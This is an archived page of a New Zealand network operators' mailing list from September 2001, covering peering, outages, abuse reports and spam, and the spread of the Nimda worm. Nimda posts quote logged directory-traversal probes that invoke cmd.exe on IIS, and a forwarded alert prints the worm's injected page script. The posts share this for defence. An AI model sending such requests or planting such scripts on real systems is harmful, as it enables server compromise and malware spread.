- NZNOG - lists.nznog.org

Clear IP accounts for 30% of hits?
by PhoneNet 24 Sep '01

24 Sep '01

Apologies if this has appeared onthe list before but I have not seen it appear.... Can anyone explain to me why the IP 203.97.10.171 accounts for over 700 hits on my site this month... it appears to be a Clear network/internet Object IP.... It accounts for almost 30% of the hits on my site! Ian Cousins --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

3 2

Xtra Abuse Reports
by Mark Foster 23 Sep '01

23 Sep '01

Maybe someone from Xtra can point out to me why xtra no longer take network abuse reports via email ? security/abuse(a)xtra now autorespond with a message pointing at a website requiring a form to be filled out.. Strikes me as a huge waste of time - who the hell is going to want to dob in spammers if it now takes 4 (or more) times longer to fill in a stupid web form than it doesnt to click view-headers - forward and add comments at the top? Xtra trying to dodge their responsibilities in keeping their users in check by making life harder for those who merely want spammers off their backs? *sigh* Mark. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

4 3

RE: Xtra Abuse Reports
by Stephen Andrew 23 Sep '01

23 Sep '01

> -----Original Message----- > From: Dylan Reeve [mailto:dylan(a)wibble.net] > Sent: Monday, 24 September 2001 12:41 > To: Mark Foster > Cc: nznog(a)list.waikato.ac.nz > Subject: Re: Xtra Abuse Reports > > > On Mon, 24 Sep 2001, Mark Foster wrote: > > > Maybe someone from Xtra can point out to me why xtra no > longer take network > > abuse reports via email ? security/abuse(a)xtra now > autorespond with a > > message pointing at a website requiring a form to be filled out.. > > It's interesting, I reported someone a while ago (an IRCer with > life_stages who I figured Xtra should talk to). I got the > auto responder telling me they didn't take email. [snip] I have to admit to being pretty pissed about this as well. I tried to report an Xtra user who has been throwing SirCam at our mail servers for a week (~450 blocked at this stage) and successfully ignoring the "you have a virus you idiot" email they will have been receiving for every single one of them. First my email to abuse failed so I went to the form they suggested only to find the the "mail/news abuse" form is utterly inappropriate for this type of problem. For one thing, YTF do they want (as mandatory fields) my Xtra login and password to report abuse by one of their users? And they want a copy of the "offending" part of the email. Everything after "Content-Type: multipart/mixed; boundary=" is pretty offensive if you ask me. I would have been happy to provide them with the complete MIME encoded trojan but they only accepted the first 1500 characters of it. Does anyone know if complaints(a)xtra.co.nz is likely to get to anyone useful? If I don't get some kind of response from Xtra today I'm almost pissed enough to bounce all future offending email to help(a)xtra until they do. -- Andrew J. Stephen Phone +64 4 496 4484 Team Leader, Network Operations Mobile +64 21 2400621 New Zealand Post Fax +64 4 496 4914 "Certainly, Windows XP is no Calista Flockhart. XP has so much pomp and circumstance that it's front-end weighs more than that of the cast of Baywatch." -- JonnyGURU, http://www.systemlogic.net/agurusworld/19/ This email with any attachments is confidential and may be subject to legal privilege. If it is not intended for you please reply immediately, destroy it and do not copy, disclose or use it in any way. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

RE: Telstra Saturn off air?
by PhoneNet 21 Sep '01

21 Sep '01

Thanks to Juha and David for the replies.... we are on a Citylink connection to Netlink and could get anywhere inside NZ but until 5:30pm approx could get no further... My sister rang me to see what was up also as she could not log in to Paradise via phone... Mind you I'd still like the courtesy of a call from Telstra Saturn to explain the problem...... after all I'm a business and paying business rates for a service.... Ian --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Telstra Saturn off air?
by PhoneNet 21 Sep '01

21 Sep '01

Anyone out there tell me if Telstra Saturn has gone off the air.... I've reported a failure to their afterhours help-desk (answered by no less than an answering service!) indicating we have been unable to get to any destination outside New Zealand for almost three hours - I've yet to receive a response.... We are running on our backup facility using one of their competitors but this is less than satisfactory... and sadly its not the first time its happened recently.... Anyone got any inside info ?.... Ian Cousins Director, PhoneNet --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Re: [jim@cyberjunkees.com: Re: FW: Worm probes]
by robbie_gernandt＠wilsonandhorton.co.nz 21 Sep '01

21 Sep '01

W32.Nimda.A(a)mm GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../ ..%c1%1c../winnt/system32/cmd.exe?/c+dir GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir We're getting hit at about 72 hits per minute, mostly from 203.x.x.x Robbie Gernandt Network Consultant Wilson & Horton Ltd *************************************************************************** This may contain privileged and confidential information intended only for the use of the intended recipient. If you are not the intended recipient of this message, any use, dissemination, distribution or reproduction of this message is prohibited. Any views expressed in this message are those of the individual sender and may not necessarily reflect the views of Wilson & Horton Limited. For more information on Wilson & Horton please visit our web site at http://www.wilsonandhorton.co.nz ***************************************************************************

16 47

Update to ihug prefix list.
by Simon Lyall 20 Sep '01

20 Sep '01

For anyone peering with us I've just made an update to our current list of prefixes. The change is this one has been added: ip prefix-list ihug-networks seq 22 permit 202.37.187.0/24 Complete list should be: ip prefix-list ihug-networks seq 5 permit 202.36.94.0/23 le 24 ip prefix-list ihug-networks seq 10 permit 202.37.129.0/24 ip prefix-list ihug-networks seq 15 permit 202.37.136.0/24 ip prefix-list ihug-networks seq 20 permit 202.37.182.0/24 ip prefix-list ihug-networks seq 22 permit 202.37.187.0/24 ip prefix-list ihug-networks seq 25 permit 202.37.194.0/24 ip prefix-list ihug-networks seq 30 permit 202.49.59.0/24 ip prefix-list ihug-networks seq 35 permit 202.49.88.0/23 le 24 ip prefix-list ihug-networks seq 40 permit 202.49.148.0/23 le 24 ip prefix-list ihug-networks seq 45 permit 202.49.176.0/23 le 24 ip prefix-list ihug-networks seq 50 permit 202.49.180.0/23 le 24 ip prefix-list ihug-networks seq 55 permit 202.49.186.0/24 ip prefix-list ihug-networks seq 60 permit 202.49.240.0/22 le 24 ip prefix-list ihug-networks seq 65 permit 202.49.249.0/24 ip prefix-list ihug-networks seq 70 permit 202.49.252.0/22 le 24 ip prefix-list ihug-networks seq 75 permit 202.50.84.0/24 ip prefix-list ihug-networks seq 80 permit 202.50.103.0/24 ip prefix-list ihug-networks seq 85 permit 202.50.255.0/24 ip prefix-list ihug-networks seq 90 permit 203.109.128.0/17 le 24 ip prefix-list ihug-networks seq 95 permit 203.173.128.0/17 le 24 ip prefix-list ihug-networks seq 100 permit 210.55.184.0/24 ip prefix-list ihug-networks seq 105 permit 210.55.203.0/24 ip prefix-list ihug-networks seq 110 permit 210.55.248.0/21 le 24 Any problems please let me know. Simon. -- Simon Lyall. | Newsmaster | Work: simon.lyall(a)ihug.co.nz Senior Network/System Admin | Postmaster | Home: simon(a)darkmere.gen.nz ihug, Auckland, NZ | Asst Doorman | Web: http://www.darkmere.gen.nz --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Fw: Bizarre moneygrubbing structure of ADSL charging
by Brian Gibbons 19 Sep '01

19 Sep '01

>From: "J S Russell" <jsr(a)jsr.com> >Looking at the figures on resource usages and costs vs margins and >turnover for adsl users, my bet is that most ISP's wouldn't give two shits >about them all leaving for a different product. >I was going to add a footnote here with an analysis of the bizarre, >moneygrubbing structure of ADSL charging by a certain large NZ telco, but >I realised I was preaching to the choir by doing so in _this_ mailing >list. I think you are wrong, no ISP has ever complained about margins and the ADSL charging structure on this list. What's so bizzare about it? --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

RE: [jim@cyberjunkees.com: Re: FW: Worm probes]
by Juha Saarinen 19 Sep '01

19 Sep '01

:: However, I firmly believe that if you are connected to a :: network outside :: your administrative control, you should treat it as a :: hostile environment, :: and protect your network (the network under your :: administrative control) :: accordingly. Sure, that's what anyone does, after five minutes of exposure to the Wild and Woolly Internet. ;-) The issue that I'm trying to raise is that even though my network is locked down tight, I'm still being bombarded by traffic that I don't want, and which terminates at my router, even though I reject/drop that traffic. So, I pay for that traffic. I think it would be a great PR move for ISPs to help their customers, who obviously don't have control over the upstream network, to ditch unwanted/hostile traffic further upstream. In the light of SirCam, Code Red Mk I and II, NIMDA, etc, it's becoming downright dangerous for your financial health to operate a Jetstream connection. A firewall and antivirus will only keep the local network clean; they can't do anything about incoming traffic. -- Juha --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

10 16

Cleaner for Nimda Virus
by Aaron Roydhouse 19 Sep '01

19 Sep '01

Thought people might like to have this handy. Luckily I haven't had to test it myself. Aaron. ----- Original Message ----- From: "Sheldon Koehler" <skoehler(a)tenforward.com> Sent: Thursday, September 20, 2001 6:28 AM Subject: Re: [imail] Nimda Virus > trend has a cleaner!!!! First test on a W95 was successful. NT is next... > > http://www.antivirus.com/pc-cillin/vinfo/virusencyclo/default5.asp?VNa me=PE_NIMDA.A --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Problem with Clear to ihug BGP session.
by Simon Lyall 18 Sep '01

18 Sep '01

Could someone at Clear please have a look at this, we had max prefixes set at 200 and it's gone through that, I bumped them to 1000 and it's over that as well. I guess somebody stuffed up their filters. 192.203.154.8 4 4768 178091 180817 0 0 0 03:17:57 Idle (PfxCt) 203.167.249.41 4 4768 177189 178948 0 0 0 03:17:40 Idle (PfxCt) All peering traffic is currently going via Netgate etc. I tried ringing a few clear numbers we had and non of the guys seemed able to look at the problem. I suggested email here and one agreeded. Anyway call our noc on 09 359 2708 if you need to talk to the duty guy here. -- Simon Lyall. | Newsmaster | Work: simon.lyall(a)ihug.co.nz Senior Network/System Admin | Postmaster | Home: simon(a)darkmere.gen.nz ihug, Auckland, NZ | Asst Doorman | Web: http://www.darkmere.gen.nz --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

4 3

missing posts from nznog archives
by Joe Abley 18 Sep '01

18 Sep '01

The archives at http://list.waikato.ac.nz/archives/nznog seem to be truncated (at least for recent months). I was looking for a link to Lindsay Druett's message of August 6 about the final decommissioning of the NZIX, and couldn't find it. Is anybody else keeping archives on-line anywhere? Joe --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 1

[jim@cyberjunkees.com: Re: FW: Worm probes]
by Joe Abley 18 Sep '01

18 Sep '01

Sorry for the lame cross-list fertilisation, but this seemed like a nice comprehensive summary. I'm getting hit by this big-time, here. ----- Forwarded message from Jim Olsen <jim(a)cyberjunkees.com> ----- Delivered-To: jabley-nanog(a)automagic.org Delivered-To: nanog-outgoing(a)trapdoor.merit.edu Delivered-To: nanog(a)trapdoor.merit.edu Delivered-To: nanog(a)merit.edu From: Jim Olsen <jim(a)cyberjunkees.com> Reply-To: jim(a)cyberjunkees.com Organization: CyberJunkees To: "'nanog(a)merit.edu'" <nanog(a)merit.edu> Subject: Re: FW: Worm probes Date: Tue, 18 Sep 2001 14:03:52 -0400 X-Mailer: KMail [version 1.2.3] In-Reply-To: <F16E03C431B5D211893000104BC5C1A70BC168A3(a)powaymail.credco.firstam.com> Precedence: bulk Errors-To: owner-nanog-outgoing(a)merit.edu X-Loop: nanog This is the information i've collected thus far on W32.nimda: W32.nimda is NOT a code red variant, and the people who referring to it as "Code Blue" were mistaken... The name it has been given (at least by TruSecure) is W32.nimda.a.mm. It uses several vulnerabilities in Windows NT and 2000 server's to infect a server, and also employ's email and web site mobile code to infect Windows 9x/ME/NT/2k boxes. During the initial infection of a server, the worm does the following: - download a file named "admin.dll" via tftp from the system that is trying to infect the target - add the guest account to the local administrators group and activates the account - makes sure c$ is shared out - copies itself to c, d, and e drives - tries to mail itself to email addresses that it discovers on the server - creates a file named readme.exe, which is used in the mobile code inserted on the web sites below - add this string to the web pages found on the server: <html><script language="JavaScript">window.open("readme.eml", null, "resizable=no,top=6000,left=6000")</script></html> - scans for and infects other vulnerable IIS servers - goes through all shared directories and puts sample.nws, sample.eml, desktop.eml, desktop.nws in each directory. these are eml messages with copies of itself (readme.exe) autoloaded by the mobile html code mentioned above. - goes through all shared directories and puts riched20.dll in each directory, which is a trogan dll version of W32.nimda that is meant to infect people running notepad/wordpad in that directory. - puts a trojan mmc.exe in the winnt directory that is a copy of itself in the above "readme.exe" format (win2000 only) If a user views a web site that is hosted on an infected server, the following happens: - upon viewing an infected page, the mobile code extracts to readme.exe and starts in windows media player (without user intervention) - the user's machine becomes infected with W32.nimda at this point and time - the worm starts scanning for other vulnerable IIS servers - the worm emails itself to everyone on the user's address book - goes through all shared directories and puts sample.nws, sample.eml, desktop.eml, desktop.nws in each directory. these are eml messages with copies of itself (readme.exe) autoloaded by the mobile html code mentioned above. - goes through all shared directories and puts riched20.dll in each directory, which is a trogjan dll version of W32.nimda that is meant to infect people running notepad/wordpad in that directory. - puts a trojan mmc.exe in the winnt directory that is a copy of itself in the above "readme.exe" format (win2000 only) It us unknown to me what happens (at this point in time) if a user opens an attachment that is sent from an infected site. It is possible that it could automatically infect the user's computer using the same methods mentioned above. EVERYONE who uses internet explorer to browse the internet should probably do one of two things to stop from being automatically infected by W32.nimda (i have not tested whether or not turning off javascript fixes the problem): o) don't browse web pages until microsoft releases a patch o) turn OFF javascript EVERYONE who uses outlook/outlook express should, at the very least, not open any attachments that they are not expecting. Turning off auto-preview might be a good idea as well. Slashdot has an article discussing this: http://slashdot.org/articles/01/09/18/151203.shtml On Tuesday 18 September 2001 11:33, Braun, Mike wrote: > I received this warning from TruSecure regarding the latest worm attack. > > Mike Braun > First American CREDCO > > -----Original Message----- > TruSecure ALERT- TSA 01-023 - W32.nimda.a.mm > > Date: September 18, 2001 > Time: 1000 EDT > > RISK INDICES: > > Initial Assessment: RED HOT > > Threat: VERY HIGH, (rapidly increasing) > > Vulnerability Prevalence: VERY HIGH, effects IIS servers version 4.0, > 5.0, and internal networks. > > Cost: High, command execution is possible > > Vulnerable Systems: IIS 4.0 and 5.0 > > SUMMARY: > A new IIS worm is spreading rapidly. Its working name is Nimda: > W32.nimda.a.mm > > It started about 9am eastern time today, Tuesday,September 18, 2001, > Mulitple sensors world-wide run by TruSecure corporation are getting > multiple hundred hits per hour. And began at 9:08am am. > > The worm seems to be targeting IIS 4 and 5 boxes and tests boxes for > multiple vulnerabilities including: > > Almost all are get scripts, and a get msadc (cmd.exe) > get_mem_bin > vti_bin owssvr.dll > Root.exe > CMD.EXE > ../ (Unicode) > Getadmin.dll > Default.IDA > /Msoffice/ cltreq.asp > > This is not code red or a code red variant. > > The worm, like code red attempts to infect its local sub net first, > then spreads beyond the local address space. > > It is spreading very rapidly. > > TruSecure believes that this worm will infect any IIS 4 and IIS 5 > box with well known vulnerabilities. We believe that there are > nearly 1Million such machines currently exposed to the Internet. > > Risks Indices: > Vulnerability VULNERABILITY PREVALANCE is very high - Milllions of > Internet Web server hosts: TruSecure process and essential > configurations should generally be protective. The vulnerability > prevalence world-wide is very high > > Threat - VERY HIGH and Growing The rate of growth and spread is > exceedingly rapid - significantly faster than any worm to date and > significantly faster than any variant of Code red. > > Cost -- Unknown, probably moderate per infected system. > > > The worm itself is a file called > README.EXE, or ADMIN.DLL > a 56K file which is advertised as an audio xwave mime type file. > > Other RISKS: > There is risk of DOS of network segments by traffic volume alone > There is large risk of successful attack to both Internet exposed IIS > boxes and to developer and Intranet boxes inside of corporations. > > Judging by the Code Red II experience, we expect many subtle routes > of infection leading to inside corporate infections. > > We cannot discount the coincidence of the date and time of release, > exactly one week to (probably to the minute) as the World Trade > Center attack . > > > REPLICATION: > There are at least three mechanisms of spread: > The worm seems to spread both by a direct IIS across Internet (IP > spread) > It probably also spreads by local shares. (this is not known for > sure at this time) > There is also an email vector where README.EXE is sent via email to > numerous accounts. > > Mitigations > TruSecure essential practices should work. > Block all email with EXE attachments > Filter for README.EXE > Make sure IIS boxes are well patched and hardened, or removed from > both the Internet and Intranets. > Make sure any developer computing platforms are not running IIS of > any version (many do so by default if either. > Disconnect mail from the Internet > Advise users not to double click on any unexpected attachments. > Update anti-virus when your vendor has the signature. > > > -----Original Message----- > From: Bryan Heitman [mailto:bryanh(a)communitech.net] > Sent: Tuesday, September 18, 2001 8:22 AM > To: nanog(a)merit.edu > Subject: Re: Worm probes > > > > We're also seeing a large increase in this activity. This seems to be more > severe than the first time. Have an additional 30 to 40 meg inbound from > this. > > Best regards, > > > Bryan Heitman > CommuniTech.Net, Inc. > ----- Original Message ----- > From: <up(a)3.am> > To: <nanog(a)merit.edu> > Sent: Tuesday, September 18, 2001 10:05 AM > Subject: Re: Worm probes > > > ugh...this is way more impact...a 128k ISDN customer running an NT/Win2k > > box is at 100% BW, and my 2x T1's are at about 2x normal traffic for this > > time of day, although still well short of capacity...apache server > > processor load is WAY up just from the requests, and the logs are growing > > like mad. > > > > On Tue, 18 Sep 2001, deeann mikula wrote: > > > On Tue, 18 Sep 2001, ravi pina wrote: > > > > On Tue, Sep 18, 2001 at 09:54:31AM -0400, sigma(a)pair.com said at one > > point in time: > > > > > Has anyone else been seeing a dramatic increase in /scripts/.. NT > > worm > > > > > > probes this morning? We're seeing about 8000/second, starting > > around 9:15 > > > > > > Eastern time, to and from a wide variety of addresses. > > > > > > > > affirmative. i just looked at my logs, and it looks like > > > > each probe tries a bunch of things. i haven't seen much > > > > on the lists, but i'm looking right now. > > > > > > i'm pretty sure that the worm's attack phase starts on the 20th (which > > > of course, depends upon a correctly set system clock) and also that > > > attempting to execute something like /scripts/root.ext/c++ something > > > is involved. > > > > > > i think that cert's website would be a good place to look. i'm *not* > > > a security/virus chick, but i did host a talk by marty linder of cert > > > where he discected code red's activity and presented a summary. > > > > > > cert is of course, http://www.cert.org. > > > > > > > > > deeann m.m. mikula > > > > > > director of operations > > > telerama public access internet > > > http://www.telerama.com > > > 1.877.688.3200 > > > > James Smallacombe PlantageNet, Inc. CEO and Janitor > > up(a)3.am http://3.am > > ========================================================================= > > "MMS <firstam.com>" made the following > annotations on 09/18/01 08:34:15 > --------------------------------------------------------------------------- >--- "THIS E-MAIL MESSAGE AND ANY FILES TRANSMITTED HEREWITH, ARE INTENDED > SOLELY FOR THE USE OF THE INDIVIDUAL(S) ADDRESSED AND MAY CONTAIN > CONFIDENTIAL, PROPRIETARY OR PRIVILEGED INFORMATION. IF YOU ARE NOT THE > ADDRESSEE INDICATED IN THIS MESSAGE (OR RESPONSIBLE FOR DELIVERY OF THIS > MESSAGE TO SUCH PERSON) YOU MAY NOT REVIEW, USE, DISCLOSE OR DISTRIBUTE > THIS MESSAGE OR ANY FILES TRANSMITTED HEREWITH. IF YOU RECEIVE THIS > MESSAGE IN ERROR, PLEASE CONTACT THE SENDER BY REPLY E-MAIL AND DELETE THIS > MESSAGE AND ALL COPIES OF IT FROM YOUR SYSTEM." > > =========================================================================== >=== -- "Computer games don't affect kids, I mean if Pacman affected us as kids, we'd all be running around in darkened rooms, munching pills, and listening to repetitive music." ~unknown **** Jim Olsen Systems Administrator CyberJunkees **** ----- End forwarded message ----- --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

3 4

OSPF Between Cisco and Ascend 6000
by Craig Whitmore 18 Sep '01

18 Sep '01

Hi there.. I am having trouble getting OSPF between Cisco's and Max6000. The Cisco's work ok with ospf, but the max can see the ospf routes advertised from the other Cisco's, but it cannot send out updates when someone connects to it. Anyone know where a Cisco<->Max OSPF Faq can be found (so I can get it working) Or maybe a Max4000/6000 Config that works from someone else? The Config are below: Cisco: router ospf 14 redistribute connected metric 1 metric-type 1 subnets redistribute static metric-type 1 subnets network x.x.x.x 0.0.0.15 area 14 Ascend: RUNOSPF=Yes Area=0.0.0.14 AreaType=Normal HelloInterval=10 DeadInterval=40 Priority=100 AuthType=None Cost=1 TransmitDelay=1 RestransmitInterval=5

4 4

nz bgp stat collection
by Joe Abley 14 Sep '01

14 Sep '01

I have been collecting bgp stats from a number of nz operators for some time, using a box located near the APE in Auckland. I am currently producing lists of unique prefixes, aggregates and ASNs in use within NZ (with some graphs showing growth), and am storing periodic snapshots of the RIB for analysis later on (e.g. for comparison with other measurements efforts elsewhere, to see how NZ is similar or different to global views of the network). If there is some interest, I could also add some looking-glass functionality, or maybe some open telnet access to the console similar to that at route-views.oregon-ix.net (assuming those that are feeding me routes are happy with that). Data is available at: http://maggie.automagic.org/ I currently have 9 BGP sessions to various operators, which includes views of all the major international transit providers (either directly or through their customers). I would like to add more, though, to make sure the picture I'm seeing is representative, and to keep it accurate in the event that individual sessions go down for some reason. All I need is a multi-hop bgp session from one of your routers to my router in the sky tower. I will never send you any prefixes; you can send me as many as you like (the more the better). If you're an operator that uses BGP to peer and obtain transit from other networks, and feel like helping, please drop me a line so we can set something up. Thanks! Joe --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 4

Cisco 806 - anybody have a config for L2TP?
by Ben Martel 13 Sep '01

13 Sep '01

Hi all, I am looking for a working config for an 806 (IOS 12.2.2) that has it acting as a LAC. The issue I can't seem to resolve is whether IOS supports the instantiation of the tunnel without an inbound PPP session to trigger it. Essentially I want the router to boot and then make the L2TP tunnel to the LNAS all on its little lonesome. This interface will then become the default route interface. Anybody done it? TIA ~ben =~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ Ben Martel Ph: +64 9 9124067 CLEAR Net Development Fax:+64 9 9125008 Mob:+64 21 541202 =~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

Carnivore revived
by Dean Pemberton 12 Sep '01

12 Sep '01

Can anyone with contacts in the US core give some more insight on this article? FBI agents arrived at core noderooms the other day with Carnivore units and offered to pay for links http://www.wired.com/news/politics/0,1283,46747,00.html --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

5 5

aussie-isp
by Phill Groom 12 Sep '01

12 Sep '01

For those poor souls who asked me how to subscribe to the Australia version of nznog, send mail to majordomo(a)koala.aussie.net with "subscribe aussie-isp" in the body (without the quotes!). I challenge you to last more than a day! Phill. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

noise
by Phill Groom 12 Sep '01

12 Sep '01

G'day all, When I returned to Australia I re subscribed to the aussie-isp list. This was a huge mistake. The list is full of absolute garbage. The current topic seems to be whether or not Microsoft Flight Simulator would equip you with the skills to fly a large airplane into an even larger building. With only minor exceptions nznog has always been (at least for the two years that I was in NZ) used as a tool by cluefull New Zealand (and many ex NZ) network operators. There are obviously others hanging around, but comments are generally on topic and useful. Please don't let this list go the same way as the Australian one. If it does then I suggest that most network operators will probably take their comments to a private list and leave the crap for everyone else. Phill. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

RE: Julian Angelo
by Simon Byrnand 12 Sep '01

12 Sep '01

At 05:33 PM 11/09/01 -0400, !Dr. Joe Baptista wrote: >On Wed, 12 Sep 2001, Philip Beckmann wrote: > >> All Matthew is doing is warning the rest of us that Julian is at it again. >> And rightly so. Get a life. > >You seem to be taking this personally philip. as the vendor of a service >to whoever this Julian Angelo he has no right to tell us anything. Read >my comments concerning the legal implications and educate yourself >accordingly. The fact that there is a privacy law further agreivates the >issue. Joe, Regardless of whether what Matthew did is right, (and I don't happen to have a problem with it) it is clear that you're just using this as yet-another-opertunity(tm) to troll this mailing list. I can't speak for others, but I for one am sick and tired of known trolls who go out of their way to provoke off-topic flamefests which have little if any relevance to the mailing list. I didn't subscribe to this mailing list to watch installments of the Joe Baptista vs nznog soap opera, but to keep in touch with issues relevant to the internet in NZ. Whether you like it or not, warning that a notorious spammer is back in action is relevant, and your diatribe is not. If Matthew gets in trouble for saying what he did, that's his problem, and its not for you to lecture him on the rights or wrongs of doing what he did. In the interests of minimizing offtopic flaming (which is your goal, after all) I won't be responding to any further replies or messages from you, and I urge others to do the same. Regards, Simon Byrnand (speaking for myself) iGRIN Internet --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

US Terrorist Attacks
by Chris Wedgwood 12 Sep '01

12 Sep '01

As most of you will know my now, there have been a number of terrorist attacks in the US. All phone circuits over here are overloaded and email is about the only thing left working after popular new sites have collapsed under the load. Any communications to and from the East Cost of the US are suffering something terrible... email still works but thats about it for many places. Watching this live is truly chilling... --cw --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

3 6

Julian Angelo
by Matthew Poole 11 Sep '01

11 Sep '01

Gee, what a short period of reform. Following on from Messr Angelo's request that his "history" be removed from the archives of NZNOG, he's back again. With a vengance. i4free's abuse mailbox currently has about 26 e-mails in it, and at least 18 of them are regarding the latest spam campaign by NZ's most notorious e-mail figure. We're certainly looking forward to closing all his accounts. Again. NOT! -- Matthew Poole "Ever wondered why cemetaries raise the cost of burials then blame it on the cost of living?" --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

8 21

Re: Julian Angelo
by Mark Foster 10 Sep '01

10 Sep '01

Where the hell did that come from? As the person who did all of the closing of Julians accounts LAST time he did this over the I4free network, I know exactly what Matt is going on about. I dont see anything libelious in what Matthew has just said. Dont turn this into something its not. Its simply a case of Julian Angelo again shooting himself in the foot - libel is not libel when reported thruthfully. Lets not start a sparring match where one neednt be. Mark. At 02:02 11/09/2001 -0400, you wrote: >you should not be uttering this sort of spew on a public list - unless of >course you consider libel and slander charges against yourself and your >company to be a good thing. > >your expressing a certain amount of planned malice - and that don't look >right. > >regards >joe > > On Tue, 11 Sep 2001, Matthew Poole wrote: > > > > > Gee, what a short period of reform. > > Following on from Messr Angelo's request that his "history" be removed > > from the archives of NZNOG, he's back again. With a vengance. > > i4free's abuse mailbox currently has about 26 e-mails in it, and at least > > 18 of them are regarding the latest spam campaign by NZ's most notorious > > e-mail figure. > > We're certainly looking forward to closing all his accounts. Again. NOT! > > > > > >-- >Joe Baptista > >The dot.GOD Registry, Limited >The Executive Plaza, Suite 908 >150 West 51st Street Tel: 1 (208) 330-4173 >Manhattan Island NYC 10019 USA Fax: 1 (208) 293-9773 > >--------- >To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz >where the body of your message reads: >unsubscribe nznog --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

Raptor firewalls
by Brian Gibbons 10 Sep '01

10 Sep '01

>From: "Brodie Davis" <brodie.davis(a)voyager.co.nz> >As what that does is break the 3 way handshake for tcp >connections (it responds to a SYN with a ACK and a >incorrect acknoledgement number). >It(raptor) only behaves this way with the netscreen box, not with >my RH box sitting out in the wild. ( i have packet dumps of the traffic) Logic says that if you have a known good config and a broken config then compare the difference. What is the difference between the SYN packet from the RH box and the SYN packet from netscreen. Potential differences include TCP options, normally just MSS, but are there others? Source IP/Port? IP Options? ------ Hehe, how many years before we start seeing postings about "appliance problems" >Hi, is anyone else having weird problems talking to raptor firewalls. Hi, is anyone else having wierd problems with F&P SmartFridges >What is happening is that we are running netscreen firewalls (hardware >appliances) and we can't talk to any raptor firewall with its syn flood >protection on. What is happening is we are running Panasonic KXH-234 Set Top boxes connected to Sky, unfortunately everytime the user switches to the Sports channel the F&P SmartFridge pops up on screen to confirm an online order for three trays of Red :) Any clues? Cheers BG. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Raptor firewalls
by Brodie Davis 10 Sep '01

10 Sep '01

Hi, is anyone else having weird problems talking to raptor firewalls. What is happening is that we are running netscreen firewalls (hardware appliances) and we can't talk to any raptor firewall with its syn flood protection on. As what that does is break the 3 way handshake for tcp connections (it responds to a SYN with a ACK and a incorrect acknoledgement number). It(raptor) only behaves this way with the netscreen box, not with my RH box sitting out in the wild. ( i have packet dumps of the traffic) (i haven't had a chance to observe how it deals with PIX and checkpoint.) Is that traffic pattern an addition to the TCP standard or is it completly non standard coms. (I found rfc 0793/ STD0007 that defines what i expect, but i can't see any additions to the standard supporting the Axent/Symantic way). Anyone got any thoughts? Cheers, Brodie --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0